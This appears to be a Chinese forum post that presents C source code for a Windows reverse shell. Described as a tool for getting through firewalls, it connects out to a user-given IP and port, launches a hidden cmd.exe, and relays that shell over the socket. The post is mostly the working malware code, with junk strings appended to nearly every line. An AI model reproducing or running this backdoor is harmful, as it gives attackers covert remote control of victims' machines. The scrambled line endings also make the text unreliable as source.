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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 RCFocOOn  
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/* ============================== ~^U(GAs  
Rebound port in Windows NT ;C1]gJZ,  
By wind,2006/7 w7.I0)MH  
===============================*/ mL!)(Bb  
#include O-rHfIxY  
#include 3y}0J @  
N# Ru `;  
#pragma comment(lib,"wsock32.lib") a$ f$CjQ  
_m;#+`E  
void OutputShell(); /cPe zX  
SOCKET sClient; d" T">Og)  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; [25[c><:w"  
Pt/dH+r`%  
void main(int argc,char **argv) 9v=fE2`-  
{ 3"ALohlL  
WSADATA stWsaData; jhd&\z-  
int nRet; oy I8}s:  
SOCKADDR_IN stSaiClient,stSaiServer; alQMPQVin  
wS*An4%G  
if(argc != 3) 6,nws5dh  
{ 3$fzqFo  
printf("Useage:\n\rRebound DestIP DestPort\n"); XBd/,:q  
return; 3P{ d~2  
} !f 7CN<  
<:[ P&Y  
WSAStartup(MAKEWORD(2,2),&stWsaData); RAw/Q$I  
*]<M%q!<6  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); D%L}vugxK  
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stSaiClient.sin_family = AF_INET; 9i hB;m'C)  
stSaiClient.sin_port = htons(0); zZ rUS'8  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ^Ht!~So  
> /,7j:X  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ?P<8Zw  
{ G}!dm0s$  
printf("Bind Socket Failed!\n"); xcBV,[E{  
return; nVkPYeeT  
} q)Qd+:a7{  
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stSaiServer.sin_family = AF_INET; `zQ2 i}Uju  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ;?-A 4!V,  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); e^;<T9Esr  
T(Q(7  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $ yd "bJK  
{ ={HYwP;  
printf("Connect Error!"); iUNlNl ?  
return; uc>u=kEue  
} xvx5@lx  
OutputShell(); dj>ZHdTn  
} qa>Z?/w  
p6UPP|-S  
void OutputShell() \6]Uj+  
{ ccUI\!TD{/  
char szBuff[1024]; qfRsp rRI"  
SECURITY_ATTRIBUTES stSecurityAttributes; BKd03s=  
OSVERSIONINFO stOsversionInfo; |f9fq~'1e  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; <oFZFlY@  
STARTUPINFO stStartupInfo; y7iHB k"^:  
char *szShell; <a=,{O  
PROCESS_INFORMATION stProcessInformation; >bgx o<  
unsigned long lBytesRead; /' +GYS  
w;e42.\  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); W~EDLLZ  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); M1>2Q[h7  
stSecurityAttributes.lpSecurityDescriptor = 0; }&E'ox<S  
stSecurityAttributes.bInheritHandle = TRUE; @<^_ _."  
=N,ahq  
d]fo>[%Xr  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); HU~,_m  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 0$saDmED  
$e99[y@  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); |._9;T-Yde  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; KG2ij~v  
stStartupInfo.wShowWindow = SW_HIDE; 8!{;yz  
stStartupInfo.hStdInput = hReadPipe; D&)w =qIu  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; P&6hk6#  
X+R?>xq{=h  
GetVersionEx(&stOsversionInfo); I: j!A  
G!%Cc0d"7  
switch(stOsversionInfo.dwPlatformId) nVSuvq|S  
{ l^LYSZg'R8  
case 1: /4Df 'd  
szShell = "command.com"; y4^w8'%MC  
break; =Wgz\uGJ  
default: $@VQ{S  
szShell = "cmd.exe"; )`4g,W  
break; {j0c)SETN  
} G`Ix-dADJm  
\W;+@w|c  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >$%rsc}^  
{I]X-+D|_  
send(sClient,szMsg,77,0); Q\!0V@$  
while(1) c~bTK" u  
{ qaj~q(j~ C  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); t 7(#Cuv-  
if(lBytesRead) 2X= pu. ;F  
{ 3lZ5N@z69  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); b }^ylm  
send(sClient,szBuff,lBytesRead,0); A.D@21py  
} H7I&Ky  
else NrNxI'M G  
{ K]<49`MX  
lBytesRead=recv(sClient,szBuff,1024,0); KA"D2j9wn  
if(lBytesRead<=0) break; App9um3:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ;I#f:UQ  
} 8}Qmhm`_j=  
} R _c! ,y  
| M|5Nc>W  
return; l<89[{9o  
}
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